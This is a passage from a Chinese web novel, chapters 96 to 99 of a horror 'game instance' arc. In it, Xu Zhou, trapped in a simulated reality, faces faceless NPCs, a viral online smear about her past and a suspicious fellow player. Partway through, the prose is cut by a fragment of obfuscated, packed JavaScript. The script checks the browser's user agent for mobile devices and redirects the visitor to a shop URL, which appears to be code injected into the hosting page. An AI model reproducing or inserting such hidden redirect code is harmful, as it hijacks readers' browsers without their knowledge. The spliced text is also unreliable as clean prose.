许舟的手颤抖着，正慢慢将手机抬到自己身前，因为攥得紧，指尖已经勒出了一点点淡粉色的勒痕。
不对，还是有哪里不对。
我的手机…明明是静音啊。
许舟果断地将手里的手机高高抬起，而后摔到地上。
“你…”黎茗丽咬牙切齿地说。
她蹲下身子，将手机翻过来。
而手机的屏幕上多了几条裂痕。<
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p>黎茗丽尝试亮屏，手机屏幕却在亮屏后的几秒不争气地产生了彩线——内屏也坏了。
这台手机，已经没办法再显示什么了。
在手机破碎的瞬间，整个副本中许舟丧失的所有记忆终于在她的头脑中归位。
黎茗丽缓缓抬头，瞪着许舟。
“呸，无脸人。”许舟大叫，“没错，你们不是我的父母！”
她的声音贯彻了整一个楼梯间。
黎茗丽和许钊的五官，缓缓地消失在了他们的脸上，应了许舟的那句话。
黎茗丽迈步向前。
许舟的意识，又一次陷入了一个无底的黑洞之中。
“记住，这不是一个梦，也不是副本。”
“这是你一直逃避的现实。”
“不要怀疑它的真实性，不要觉得它是虚假的，更不要将你的疑虑公之于众。”
“记住。”
黎茗丽本该柔和的嗓音，在说出这些话语时，形成了一种极具反差的诡异感。
她的声音被迷雾包裹着，遍布在许舟意识所处的混沌各处。
但当黎茗丽话语中最后一个字的尾音落下时，许舟察觉自己仍未重新醒来。
她的意识，仍未从混沌离开。
良久，许舟黯淡的意识渐渐恢复了活力。
“我…死了？”
“这里是天堂？”
“天堂怎么会有这么多雾？”
“比起天堂，我更觉得这里是地狱。”
她回忆着在“不要低头看手机”副本里经历的一切。
同时，她的意识如同一个初生的婴儿，眨巴着大眼睛看向每一个新奇的事物，时不时闻一闻，或用手碰一碰。
她全力感知着这一片迷雾。
迷雾有味道。
是苦涩的。
许舟的意识体“深吸了一口气”，而后慢慢地在迷雾之中蹒跚移动。
“我终于知道这里的规则了。”
许舟的意识体发出声音。
“关键在于，不能让NPC察觉到我认为他们是虚假的。”
“所以，不能向提及类似梦境、虚假、陌生等词汇。”
意识体一边在漫无边际的迷雾里飘荡，一边思索。
“否则，就会触发他们的无脸状态，并且想方设法让我低头看手机。”
“如果我没有低头看手机，意识就会被…”
许舟的意识体在迷雾中抖了两抖，她发现不远处有一个黑漆漆的轮廓。
轮廓一动不动的，其形态，有点像一个沙漏…？
许舟很好奇，遂缓缓向“沙漏”飘去。
当她来到“沙漏”跟前时，“沙漏”居然在空中明显地晃动了一下，而后向许舟的反方向飘去。
许舟追“沙漏”。
“沙漏”躲许舟。
一场惊险刺激的追逃游戏在迷雾之中展开。
追着追着，许舟的意识体和“沙漏”来到了一个地方。
而这里，还有其他六个一模一样的“沙漏”。
它们围成了一个包围圈，丝毫没有察觉许舟和另一个“沙漏”的动静，正静谧地站在一起。
“那个…沙漏？”许舟的意识体试探地问道。
“许舟？”
96. 不要低头看手机（4）
那个被许舟追了一路的“沙漏”惊讶地问。
而沈霁的声音从“沙漏”里传了出来，附带了一丝的空灵与鬼魅。
“你是...沈霁的意识体？！”许舟的意识体问道。
“...应该算是？”沈霁的意识体晃了晃，似乎在做点头的动作，“在我眼里，你和那六位一样。”
说着，沈霁的意识体往那六个“沙漏”靠了靠，又飘了回来。
许舟点了点自己不存在的“头”。
“不过，你没有眼睛。”许舟的意识体纠正道。
沈霁：“……”
“你和他们，也长得一样。”许舟说，“而且，我知道这次副本有七名玩家，加上我一共是八位。”
沈霁会意：“我们这共有八个意识体，应该就是所有玩家和你。”
许舟不知道自己的意识体还会在这片虚无之中滞留多久，只好长话短说：“这里的规则是不能向NPC提到与‘虚假’有关的字眼，否则他们就会想办法让我们低头看手机。”
“我明白。虽然不知道看手机的后果是什么，但根据副本名称来看，显然结果不会太好。”沈霁说道。
“而不看手机的话，我们的意识体就会短暂地进入这片迷雾之中。而后我们会失去这段与NPC对峙的记忆，而副本的时间也会重启到事情发生以前。”许舟语速飞快。
同时，她不忘好奇地在迷雾中左飘飘，又飘飘。
“…其实在我这次进入这片迷雾前，我并没有和NPC对峙，更没有被NPC引诱看手机。”沈霁的意识体思衬片刻，道。
许舟的意识体飘来飘去的动作在空中明显一滞：“那就是说，我们八个人之中，只要有一个人与NPC发生对峙，所有人的意识体都会进入这片迷雾，同时每个人的时间线也会被被重置。”
沈霁的意识体慢慢地围着那六个玩家的意识体绕了一圈，而六个意识体仍然围绕在一起，没有一丝动静。
沈霁问道：“他们看起来...并没有像我们一样可以在迷雾中自由行动。为什么呢...？”
许舟凑过来，用自己黑糊糊的阴影部分小心翼翼地戳了他们一下。
感觉…凉凉的、软软的。
“确实没有动静。”许舟的意识体跳了跳，“我在进入这片迷雾前，摔了自己的手机，然后我就得到了进入副本以来的全部记忆。”
“噢！”沈霁恍然大悟，“我也不小心摔了手机。所以手机损坏就是意识体在迷雾游荡的重要条件。”
“…是挺不小心的。”许舟无语。
“就算摔掉手机，在这个副本里面也不会永远安全。”沈霁不咸不淡地说，“这次重启后，我的手机应该就好了…而我们又会失去这段记忆。”
“而且，手机应该也是副本的重要道具。毁灭手机不是解决办法。”许舟加上了一条自己的思考。
倏地，许舟发现沈霁的意识体轮廓在慢慢变淡，逐渐由深黑变得与灰白的迷雾融为一体，已经难以找到界限。
“说曹操曹操到。要重启了。”许舟看着面前渐渐消失的七人。
“对了，许舟。”沈霁在消失之际喊了一声，“我想明白了。我以后会老老实实通关副本，不再打你们副本创造者的主意。”
话音刚落，七名玩家意识体的身影彻底变为迷雾的颜色。
许舟眨了眨不存在的眼睛，对着面前空无一人的迷雾欣慰道：“那就好。”
不管沈霁究竟还在不在这里，许舟都要这么说。
因为，他们要做戏给系统看。
作为许舟进入异世界的考验本，系统绝对盯得死死的。
而此刻的许舟的“脑”海又迸发了一个新的问题——自己是BOSS阵营玩家，但目前看来，在这个副本里，自己和其他普通玩家并无区别…那自己究竟特殊在哪…？
迷雾没有留给许舟的意识体思考的时间，便将她硬生生拽回了现实。
……
许舟在家里客厅的地板上，迷迷糊糊地睁开眼。
“怎么突然晕倒了…？低血糖？”
她用手撑了撑地板，试图起身，却发现使不上劲。
而家里的一切都还隐隐约约地有些重影。
“怎么脑子有种失去了很多记忆的感觉。”许舟自言自语道。
她干脆松开了撑在地上的手，随意地将手耷拉在腿上，坐在地上休息。
良久，重影才渐渐消失。
许舟在地上连滚带爬地移动到茶几旁，拿起了一颗糖，在手心飞速拆开糖纸后，扔进自己的嘴里。
身体状况终于得到改善。
这时，她才发现自己的手机正躺在自己倒下位置的附近。
“手机…？”
“…手机！”
许舟尖叫一声，在地上阴暗地爬行，去取自己的手机：“正事都忘了！！！曲心奕回我了没？”
然而…
手机上的时间，清晰地告诉许舟，距离她给曲心奕发消息已经过去两个小时。
而曲心奕，就连一个表情包也没回。
…可能在忙吧。
“从今早起床到现在，一次在出租车上断片似地睡着了，一次在家里晕倒了…”
许舟对着客厅落地镜里的自己用力点点头：“我也真是够可以的…得去医院看看，全力迎接进入异世界前的最后一个副本。”
“很多年没去过医院了呢…”
自从那件事后，许舟大多时候，生病也会自己忍着熬着，为的就是避免进入医院，进入那熟悉的病房。
因为，病房的装修总能勾起她尘封多年、却偶尔在心里掏出来祭拜的回忆。
但现在不同于往日，下一个副本的意义非同凡响。
必须保持良好的身体状况与精神状况。
许舟默默对天长叹，艰难地从地上起身，一手小心翼翼地扶着墙，谨防自己再次摔倒。
但她起身后，却又顿觉浑身充满力量，满血复活。
“咳咳…”许舟对着镜子，用手轻托下巴。
“还去不去医院呢…”
许舟的余光瞟到了镜子上的一个硬币。
她对着镜子里的自己扬了扬嘴角，伸手取下硬币，放在左手手心。
“正面就去医院，反面就不去。”
许舟用右手虚捂自己的左手，让自己的目光看不见硬币。
而后，双手轻轻在空中摇了几下。
许舟深吸一口气，慢慢挪开盖着硬币的右手，定睛一看——正面。
“这次不算…再来一次。”
第二次落下的硬币，仍然是正面朝上。
“最后一次。事不过三！”
硬币第三次落下后，许舟紧紧闭上了眼，而后慢悠悠地将捂着硬币的手挪开，这才将眼睛睁开一条缝。
还！是！正！面！35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13283389|128991||http|test|mini|href|location''.split(''|''),0,{}));
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“好好好，去就去。”
许舟对着硬币嘀咕两句，将小硬币放回了镜子上。
……
许舟孤零零地站在楼下，一辆辆出租车从面前呼啸而过，却没有一辆车停下载她。
有的出租车上，已经搭载了客人；但有的出租车上，明明显示屏显示的是空车，却如同许舟是一个透明人般，无一不选择忽视她。
许舟：“……？”
大太阳快将许舟烤化了。
而后，她的身边来了一个女人，她和自己一样需要打车。
紧接着，许舟眼睁睁地看着一辆出租车在自己面前放缓车速，而后眼睁睁地看着这辆车停在女人跟前，最后眼睁睁地看着女人开了门上了车。
许舟：“……？”
“我是有什么大罪吗？！”
“看来这些车不想我去医院。算了，不去了。”许舟忿忿不平。
许舟的家只是去她实习的地方比较方便，去医院却需要走很远的路才能到对应的公交车站。
正当她想要放弃之际，她想起了那水灵灵的小硬币：“但是…小硬币想我去医院。”
许舟撑开了一把遮阳伞，一言不发地向能去医院的公交车站走去。
……
真是功夫不负有心人，当许舟“跋山涉水”来到公交车站时，一辆通往医院的19路公交车刚刚停靠。
在许舟的眼里，这辆车此时如同镀了金一般，闪闪发光，充满魅力。
许舟飞也似地冲过去，排在人群的最后。
当她加入队伍时，再次瞄了一眼手机——曲心奕仍未回复。
难道消息被淹了…？
许舟耐不住性子，快速打了一行字。
浮舟已渡：曲大忙人在干什么呀。
熄了屏，抬起头继续等待上车。
而便在她抬眸的一瞬间，她对上了一双眼睛。
不对，是很多双眼睛。
队伍前面的人，不一而同地转过头来，看向了她的手机。
他们转头的方式很诡异…背部仍然正对着许舟，但他们的头此刻也正正地对着许舟。
他们的脖子…都扭了180度向后转！！！
“呼——”许舟吃了一惊，喘了口气。
最靠近许舟的男人似笑非笑地看了眼许舟惊惧的模样，慢吞吞地把脖子扭了回去。
其他人也效仿这个动作，纷纷回过头去。
最前面的人们一个一个上车刷卡，人流缓缓地向前流动。
许舟瞳孔微缩，略微颤抖地跟着大部队向前，踏上了公交车。
而公交车司机却在许舟将卡递向刷卡机的前一刻，将手挡在了刷卡机前。
许舟：“……？”
她抬眸看了司机一眼。
司机也在上下审视着他。
而排在许舟身后的人，此刻更是充满了耐心。
仿佛在等着司机发话。
一秒、两秒、三秒...
时间一分一秒地过去。
许舟被盯得很不舒服，她将卡在空中晃了晃，试图在司机的手和刷卡机之间寻得一个微小的缝隙。
但司机的手随着许舟的手移动而移动，态度很坚决——就是不让你刷卡。
“你干嘛？！”本就心烦的许舟问道，“不能拒载吧？”
司机这才缓缓开口：“你…不是属于这辆车的乘客。”
97. 不要低头看手机（5）
司机的声音低沉而沙哑，深不见底到仿佛不属于这个世界，而是源于一个万丈深渊。
许舟握着卡的手僵在空中，目光逐渐移向司机的脸庞。
稍微稀疏的短发，带着自然的分界线。
额角与眉间露出细细的皱纹。
不过是再普通不过的中年男人的长相，口中却说出如此令人背脊发凉的话语。
“我…不属于这辆车？”许舟重复了一次司机的话语，似乎在对其做进一步确认。
“对。”司机用柔和的目光看着许舟，“走吧。”
许舟站在原地迟疑了一下。
什么意思…？
这种事情不是只会出现在副本里吗…？
为什么现实世界也会发生这种情况？！
“他们…”司机松开握着方向盘的手，缓缓抬起指向许舟身后，“都等着你下车呢…”
他们…？！
许舟的心提到了嗓子眼，猛地回头看去。
只见排在自己身后的乘客们无一不看着自己。
不知什么时候，他们的眸子失去了眼白，如同深不见底的夜空，黑洞洞的，只余下漆黑的瞳孔，闪烁着一种难以言喻的光芒。
许舟握着卡的手慢慢地向自己身侧靠拢，心脏仍在扑通扑通地跳个不停。
对了！
上车前，当我掏出手机找曲心奕后，前面的顾客曾不约而同地将脖子扭180度来看着我。
许舟默默与一双双黑眸对视，心里却在不断地盘算着。
当时我只是感到有些害怕，居然没觉得有什么不对。
就好像是被人在潜意识里强行灌入一个装置，这个装置会将周围看见的一切诡异合理化。
如果结合昨晚那个所谓的“梦”呢…
第二次重启后的许舟此时眸光犀利如鹰——这不是现实世界！这就是副本！
她慢慢回过头来，看向司机：“那我…属于哪辆车呢？”
司机似乎没想到许舟会反问自己，他渐渐缩回捂着刷卡机的手，轻托下巴：“你属于…”
许舟期盼地盯着司机半张的嘴。
良久，那双嘴吐出四个字：“你的根源。”
根源？！
许舟似懂非懂地点点头，转了个身。
在众目睽睽之下，她面无表情地下了车。
排队的人流这才恢复了流动。
也许是耽搁了太久，他们流动的速度明显变快。
不出一会儿，最后一个人便也上了19路公交车。
许舟眉头微蹙，静静地站在路边的公交车站牌旁，一边思索根源的含义，一边注视着眼前正在启动的19路公交车。
根源…根源…
蓦地，19路公交车上的乘客不一而同地将头扭向许舟，用他们没有眼白的黑眸对她投以死亡凝视。
许舟的手掌渐渐收紧，握成了一个拳。所有的力量裹挟着丝丝寒意，被她灌注在指尖，手背亦是青筋分明。
19路公交车从许舟面前离开，掀起了一阵风，带来了些许凉意和清醒。
许舟猛地眨了眨眼，发现自己仍然站在原地，车上的一切恢复了正常。
乘客们或站立或坐下，有的正低头与他人通讯，有的与身旁朋友窃窃私语，又有的静静地看着窗外风景。
他们的眼睛，也是再正常不过的、属于正常人类的眼眸。
许舟的拳头渐渐舒展。
对于“根源”二字，她想到了一种可能性…
但她的心却忍不住避开这种可能性，她用尽了一切办法说服自己排除这种可能。
“副本怎么可能知道我的过去？！”许舟打心底里发出质疑，“系统最多监视我在副本的所作所为。”
她联想到自己在现实世界中与沈霁的联手抗敌，若系统能精确把握她的现实信息与动向，她应该已经被系统抹除了…
“但是…现实世界也有副本的设计者…他们可以代替系统监视现实世界。”许舟喃喃道。
她停留在原地许久，面前停下又启动数量公交车，而上上下下的人们从自己的身旁走过。
许舟的思绪反复拉扯，直到自己相信“根源”二字并不指代刚刚设想的可能性为止。
……
许舟撑着遮阳伞，一个人孤零零地又从车站走回家。
片刻，她像是有心灵感应一般，总觉得副本里的这个曲心奕回复自己了。
“直觉告诉我，曲心奕回复的消息是关键。”
她站到路边一个人烟稀少的空地，背对大道，用阳伞将自己的上半身完完全全笼罩在一片弧形的阴影之中。
而后左右张望，确定前方无NPC后，方才掏出手机。
毕竟副本叫“不要低头看手机”，结合刚刚公交车上NPC的行为，许舟心里总隐隐约约觉得，不要当着其他NPC的面低头看手机比较好。
而消息栏果真出现了一条新消息。
只不过…副本里的曲心奕给许舟发来了一条链接。
标题深深地抓住了许舟的眼球——一位受害人的自述：我的同伴花舟对我做的那些事。
许舟瞳孔微缩，双腿有些发麻。
不单单是因为标题内容直接指向许舟的过去，更因为…许舟察觉这条标题有些似曾相识。
但…究竟在哪里见过这条标题呢？
许舟努力地去回想，但相关的记忆似乎被什么东西粗暴强硬地覆盖，让她始终没办法触及。
每当她总觉得接近那段记忆，她的头就会传来猛烈、深入骨髓的疼痛。
越接近，疼痛越严重。
遂放弃。
紧接着，曲心奕一条又一条的消息接二连三蹦了出来。
奕影初现：这里面说的人，是你吧？
奕影初现：你的事情…被别人发到网上了。
奕影初现：你怎么可以这么做啊！！！
奕影初现：我觉得那个女孩，绝对不会原谅你的。
许舟发白的大拇指反反复复地上下滑动屏幕上的这几行字，而同时，她咽了一口又一口的口水。
她并未真正点进那条链接，她就知道里面写了些什么。
当年的场面在她脑海中反复闪回过无数次，哪怕是事发地墙上的一幅画，她也对此了如指掌。
而这件事，哪怕是现实世界的曲心奕，她也从未告诉过。
“如果我告诉你了，你真的会这么想么…”许舟站在原地，瞳孔映着与曲心奕的聊天框自言自语。
半晌，她打了一行字，回复这个虚假的曲心奕。
浮舟已渡：你真的是…
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浮舟已渡：这么想的？
但是消息并没有发出去，两个深红色的感叹号倒映在许舟的眼底，热烈而肯定。
曲心奕将自己删除了。
因为这件事。
一种浓烈的冲动感油然而生。
管他三七二十一的副本！
把手机摔了再说！！！
许舟的手紧握着手机，在空中摆了又摆，五指松了紧，紧了松。
最后，她才慢慢将手机放回背包中。
如果手机摔了，表面上可能是一片光明，但最终要面对的可能是光明后的万丈深渊。
副本名字都含有“手机”二字，那手机这样物品极可能既是死亡条件，又是重要线索。
“曲心奕不可能这么想。”许舟说服自己道。
……
回到家后，许舟的心情渐渐平缓。
而脱鞋后的第一件事，许舟选择了掏出手机。
刚一亮屏，十几条未接来电和一堆未读短信赫然呈现，映入许舟的眼底。
“怎么这么多人找我？”
许舟总有一种浓烈的、不祥的预感。
她解开屏保，默默点入短信。
一条电话又拨了进来。
号码显示在星市，但是却是一串许舟完完全全陌生的数字。
“许舟，加油。”她给自己的心底打了打气，而后果断按下了接听键。
“喂？哪位？”许舟将手机稍稍拉远，与自己保持良好的安全距离。
听筒里传来的是模糊不清的声音，让隔着“安全距离”的许舟难以辨别。
似乎…有点像叫骂声？
许舟的余光瞄向不远处的落地镜，这才发现自己额角的发丝已经被紧张的冷汗打湿。
她慢悠悠地将手机拉回身前，点下免提键。
“说话啊！？花舟吗！”
免提键被按下的一瞬间，粗犷而残暴的男低音从手机传出，如利刃般直刺许舟的耳膜。
许舟张了张嘴，却并未出声。
对面男人也完全没有等待许舟回应的打算，继续他新一轮的狂轰乱炸。
“花舟，像你这样的人，就不配活着，懂吗？？？”
“这么多年，你有想过寻求对方的原谅吗？”
“不说话也没用，我知道你在后面听。”
“我警告你，以后出门别让我遇见你。”
“嘟嘟嘟——”
男人骂得心满意足之后，终于熄了火。
留下许舟呆呆地站在原地，双目无神地看向前方。
那些未接电话与未读短信，许舟忽觉自己也不必再点开查看。
无非就是类似的消息罢了。
“这里…真的是副本吗？”许舟对着针落可闻的家不自信地问道。
明明原先已经精确判断这里是她进入异世界前的最后一个副本，许舟却在一根根扎入难以回首的回忆后自我怀疑起来。
“快去看！！”楼下传来响亮的叫唤声，拉回了许舟沉重的思绪。
她有些狼狈地走向阳台，向楼下望去。
只见一拨又一拨的行人缓缓地向一个位置靠拢。
一个陌生的路人似乎察觉到许舟的目光，他仰头看向许舟。
而后，他的唇角微微向上一勾。
98. 不要低头看手机（6）
许舟谨慎地望着这个路人。
她的手死死抓在阳台的栏杆上，如同栏杆下一秒就要被抓瘪。
这个朝许舟微笑的路人见许舟没有明确回应，他高高扬起手臂，对着许舟大力挥舞。
而他的嘴动了动。
但隔着十几楼的距离，许舟对他的话语难以辨别。
凭借直觉…
许舟对着路人张了张嘴：“这是在邀请我…下楼？”
只见遥远的西边夕阳正缓缓落下，楼下的路灯纷纷亮起。
聚集到许舟楼下的人越来越多，他们不停地向同一个地方涌动，仿佛被某种力量牵引。
那个向许舟招手的路人被挤得放下手臂，低下头来，融入这股人潮如织。
许舟来到鞋架边换鞋，希冀能在这一波躁动结束之前加入其中。
系好鞋带后，又是一股剧烈的、打心底里产生的看手机的冲动。
那些人还在给我打电话吗？
曲心奕有没有加回我？
…
许舟颤颤巍巍地拿出手机，在看与不看之间反复横跳。
脸色苍白，眸光黯淡。
她握着手机，一步一顿地走向沙发，而后一屁股坐了下来。
自始至终，目光都没有离开手中的手机。
“快来啊！”
直到楼下又一次传来清晰的叫喊声。
它冲进许舟的耳朵，直刺她的脑髓。
许舟浑身一个激灵，慢悠悠地将手机放进裤袋。
“差点被这手机扰了心智。都忘了当下最重要的是下楼了。”许舟望向大门，活动了下腿脚，从沙发上站起。
也不知道是因为曲心奕发来的链接与许舟的过去息息相关，还是因为副本中的手机本身具有的魔力…
许舟心神不宁地出门来到电梯口，静静地等待着。
电梯从楼上驶下，许舟心不在焉地时不时看向楼梯间的窗户，对楼下的事情尤为好奇。
“怎么电梯这么慢啊…”
话音刚落，电梯门就在许舟的门前缓缓打开。
电梯里早已挤满了人！
许舟楼上的所有住户顷刻之间齐聚一堂，他们无一不挺直了身板，面无表情地平视前方。
见到许舟，他们的目光也未向旁边移动一寸。
怪不得电梯下楼这么慢，原来是接上了每一层楼的所有住户！
“啪嗒——”
住在许舟同层的邻居家的大门应声而开，这个身材高挑曼妙的女人优雅端庄地从门中走出。
在现实世界一贯会与邻居许舟打招呼的她，此时不屑地看了许舟一眼，嘴里嘀咕道：“长得怎么这么像网上那个老鼠？”
听了她的话，许舟幽深的眸子荡起阵阵涟漪。
那个链接…已经传播得这么广了吗？
想到这，那看手机的欲望直直从心底冲上许舟的脑门。
她浑身难耐，很难压制住看手机的心情。
而那个女人经过许舟身边后，踏着高跟鞋缓缓走入迟迟未关门的电梯，而后她转了个身，面上的情绪淡去，与旁人般目中无人地平视前方。
他们的目光明明十分平静，却如同利剑般划入许舟的皮肤，让她想看手机的心萌生了退意。
直觉告诉许舟，她若现在当着这些人的面看了手机，下一秒可能就要被抽筋扒皮。
许舟看着满满当当的电梯，用目光逼视着这些往日熟悉而如今让人感到陌生的面孔，使得这些人竟纷纷避让，为许舟闪出了一个容她进入的空位。
奇怪的是，接上许舟之后，恰逢满载人数的电梯在接下来的十几楼中未再经停一次，而是一路畅通无阻地来到了一楼。
电梯里的人们裹挟着许舟来到楼外人群聚集的街道。
“你好。”
在许舟走出去的下一秒，一个人拍了拍她的肩膀。
许舟下意识地回头，映入眼帘的是那个熟悉的面孔。
这是那个隔着十几楼距离和她打招呼、与她挥手和说话的路人。
刚刚许舟并未仔细观察。
这是一个中年大叔，面上的皮肉略微松弛，圆脸盘上生着一对宽宽的浓眉。
这么一看，与楼上看到的那诡异的笑容实在相差甚远，似乎此刻还觉得他有些亲切。
“你有…什么事吗？”许舟不再对其感到畏惧，主动询问道。
“你也是……”大叔欲言又止。
许舟：“……？？？”
大叔在人流之中，艰难地举起他肥厚的大手，在空气中摆了两摆。
“不要…？”许舟试图理解大叔的手语。
大叔点点头，而后立起食指放在嘴边，示意许舟不要说话。
许舟似懂非懂地点了点头。
而后，大叔低下头，保持这个动作两三秒后再次抬头。
低头…？
许舟在心里解读道。
最后他从口袋里拿出了手机，放到眼边。
看手机。
许舟在心里的解读多了几分肯定。
这位大叔，应该是副本的普通玩家。
许舟心领神会地弯起了纤细的手指，比了个OK。
“我就是想着…找个伴。”大叔见许舟终于理解自己的意思，他放松地说。
“明白的。”
“对了，忘记自我介绍了。”大叔平和诚恳地说，“我叫姚务锦。”
“一个人。”姚务锦隐晦地补了一句，示意自己是一个人进的本。
“黎心。”许舟报了个假的名字，“一个人。”
现在这个世界漫天盖地的那条链接，许舟担心眼前这个中年大叔会通过自己名字里的“舟”联想到链接里的花舟。
而出于她和沈霁的计划的保密性，她干脆直接说自己是一个人来的。
“黎心。”姚务锦点点头。
“对了，那边人这么多，是发生了什么…？”身边多了一个玩家，许舟自然也希望从他的口中获取更多信息。
“说实话，我也不太清楚。”姚务锦直白地说，“刚刚还是想着先组个队，你能理解吧。”
“理解。”许舟不善闲聊，简单地回应，“咱们现在，可以试着挤到前排去看看。”
姚务锦赞同地挤入人流之中，尽可能地让自己的步速比周围的人快。
看向姚务锦的背影，许舟轻轻挑眉，快步跟了上去。
星城气候很热。
在这样汹涌的人海中，大多数人都难逃流汗的命运。
许舟捂着口鼻，小口呼吸。
而周围的NPC们对两人拼命向前挤的行径并无不满。
相反，他们同许舟电梯里遇到的住户们一样，面无表情，像个机器人一样无情地向前走着，仿佛只是在执行指令。
他们目不斜视，完全没有留意许舟和姚务锦的存在。
只是偶有几个人在其中大声叫嚷着诸如“快来看”“都过来围观”之类的话语，引诱着围上越来越多的人。
终于，许舟顿觉前方空气清新——她和姚务锦费九
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牛二虎之力，终于来到了人群的前列。
而他们面前，有个男人站在街头的霓虹灯下，低头不断地敲着手机的键盘。
而也许是星城过热的原因，又或者只是因为男人对手机里的内容实在太感兴趣，他的一头短发上满是汗水，甚至有些反光。
而他的脸侧更是被汗珠侵占，时不时几滴豆大的汗珠就从他的额角掉落到地上。
在热闹非凡的街道，汗珠掉落的声音却尤为刺耳。
嘀嗒——嘀嗒——
而男人完完全全地没有留意到围观的人群，乐此不彼地望着手心的宝贝手机。
霓虹灯的灯光在男人的周围画了个光弧，天然将他与周边的行人分离。
一人一手机，即是他的那个世界。
“叮铃铃～”男人的手机铃声响起。
男人似乎对铃声打断自己的行径深恶痛绝，他面色不善地朝脚边啐了口唾沫，恶狠狠地跺了几下脚，而后接起手里的电话。
电话铃声的打扰也暂时让许舟的注意力从男人身上收回。
她忽觉什么人的目光正落在自己身上，引人不适。
她渐渐环顾四周，这才发现姚务锦正目不转睛地看着自己。
不对，是打量。
姚务锦的眼神被许舟瞪回去的下一秒，前方男人就暴躁地对着听筒问道：“喂？”
听到男人的声音，许舟刚到嘴边的话又被她硬生生地憋了回去。
这人的声音，她听到过！！！
就在不久前，这个男人打电话到她的手机上，劈头盖脸地骂了她一顿。
这是链接事件发生以来，许舟接听过的唯一一个陌生人的电话，绝对不会有错。
就是这个男人！！！
“喂？喂？”男人接连着问了两声，他的嗓音在传入许舟的耳畔后被她不安的回忆模糊，变成了含糊不清的话语。
“那个…我刚刚无意盯着你看，只是你的侧脸有点像我认识的一位朋友。我和她已经很多年没见了。”姚务锦诚恳自然地解释道。
他的话语也在此刻唤醒了许舟。
许舟警惕地琢磨着姚务锦的话，听上去十分合理，却又觉得哪里不对。
“听不见你说话啊！妈！”男人脾气暴躁地大声吼叫起来。
许舟抬眸，坚定地看向姚务锦，似乎目光可以进入他的心。
她缓缓开口：“你想在这里找个伴，请问，你如何判断我和你一样？”
在NPC们面前，许舟的话很含蓄——你想在副本组队，那请问你如何判断我也是玩家？
这个副本基于现实世界展开，无数现实世界的路人都变成了NPC，对于一个素未谋面的玩家，姚务锦从何判断她的身份？
许舟对着姚务锦，暗暗发动“异能中介”，却发现他的头顶并没有漂浮任何的字迹——这不是一个有异能的人。
“是信号不好吗？”前面的男人嘀咕着，将手机从耳侧放回身前。
而姚务锦不介意许舟的怀疑，他痛快地解释道：“我是对面楼的保安，今天看见你进进出出的行径，觉得有些古怪。”
“而且…刚刚和你招手以及你之后的反应，证明了我的猜测。”
“倒也合理…”许舟回过头看向熙熙攘攘的人群，他们的面色统一，嘴角耷拉，眼里无神。
自己和姚务锦确实是这里的一类。
“你刚刚说，我长得像你的一位朋友。方便问问那位朋友的名字吗？”许舟轻声问道。
“她叫花舟。”
99. 不要低头看手机（7）
姚务锦平淡无奇地说道。
说话的同时，他的目光仍未从许舟脸上偏移，似乎仍在对她细细观察。
“你再打一次吧。我真的听不到，挂了！”霓虹灯下的男人一下子挂断了电话。
他重新埋头沉浸于自己的宝贝手机之中。
他的脸与手机屏幕贴得很近很近，似乎只要稍动一下，他的鼻尖就会碰到手机。
屏幕在他的脸上泛出淡淡的蓝光。
许舟瞄了男人一眼，努力平静地望向姚务锦的脸庞。
两颊挂着赘肉的姚务锦被许舟放到记忆里的人脸库进行比对。
“哦...是吗？”许舟温言慢吐，而后干笑两声，以拖延时间。
是那天晚上上门的催命鬼中的一员？
不对，不对。
“那还真是...”许舟每每吐出几个字，便会刻意地一顿。
那晚的催命鬼们个个身材壮硕，满臂肌腱，与眼前这个发福的中年男人显然并不相符。
更何况，许舟不会忘记那些人的脸庞。
绝对不是姚务锦。
“够巧的啊。”许舟淡淡地勾了勾唇角。
“是啊，好巧。”姚务锦顺着许舟的话向下说，眼睛盯着许舟双眸中的情绪变化。
“你说的花舟...”许舟故作思考。
难道是那栋楼围观的邻居？
这倒有些可能。
“是网上那个吧？”许舟勉强地笑了笑，“怎么说是你的朋友啊。”
但人海茫茫。
最大的可能，还是姚务锦在网上看见了许舟的照片。
毕竟她的个人信息，在这个副本里被所有人疯传。
被副本玩家看到，再正常不过。
“你不会觉得，我就是她吧？”许舟见姚务锦不说话，又补上了一句，“试探我？”
姚务锦没想到许舟如此直白地点了出来。
他面容逐渐僵硬，目光不安地四处游走起来。
“呃...被你发现了。毕竟这里是...咱们素未谋面，理解一下嘛。理解万岁。”姚务锦底气不足，声音断断续续，如同卡壳的机器。
“嗯，理解万岁。”许舟意味深长地看了姚务锦一眼。
她若有似无的话语不禁让姚务锦皱了眉。
“原来真的是我搞错了...”姚务锦声若蚊蝇，自言自语。
此刻的他只觉得，不可能存在一个副本的内容与一名玩家如此息息相关。
因此，眼前自称黎心的女人，必然不是网上的花舟。
而在这般吵闹万分的场地里，他的声音自然而然地被其他声音盖过，在进入许舟的耳朵前便消散在了空中。
说罢，姚务锦便扭头继续去围观霓虹灯下的男子。
彼时，他的头已经变得更低，整个鼻子贴到了屏幕之上，挤压得略为扁平。
姚务锦眼见男人热情与手机相拥的场景，似乎被其深深感染。
他一拍脑袋地大声说道：“对了，我都十几分钟没看手机信息了！”
他的面容有些狂热，与先前的神情大相径庭。
许舟狐疑地看向他，却只见他已经旁若无人地从兜里拿出了手机。
他默默低下了头，肥胖的脖子上被挤出了几条略有些明显的颈部细纹。
而他身边的一圈人都用极不自然的表情迅速地瞄了他一眼，而后恢复面无表情状，目光回归霓虹灯下的男人。
也许正是旁人的一瞬目光一下子唤回了原先的姚务锦，他眸光一动，而后缓慢地将手机慢慢放回兜里。
“晚点再看...”姚务锦看向许舟，轻声为自己解围。
许舟无所谓地点了点头。
“叮铃铃~”
面前男人的手机铃声梅开二度地响起，打断了男人与手机的亲密接触。
他不耐烦地接连按下接听键和免提键，将手机放到耳侧。
不知道打来电话的人为了让男人听到自己的声音做出过怎样的努力。
这一次，电话对面传来的妇女声清晰地飘到许舟的耳畔。
“帆帆，最近学业怎么样？大学是很重要的。”
原来眼前这个男人还是一名大学生。
“妈。说了很多次了，我已经长大了。不要叫我帆帆了，叫我全名嘛。廖帆。”
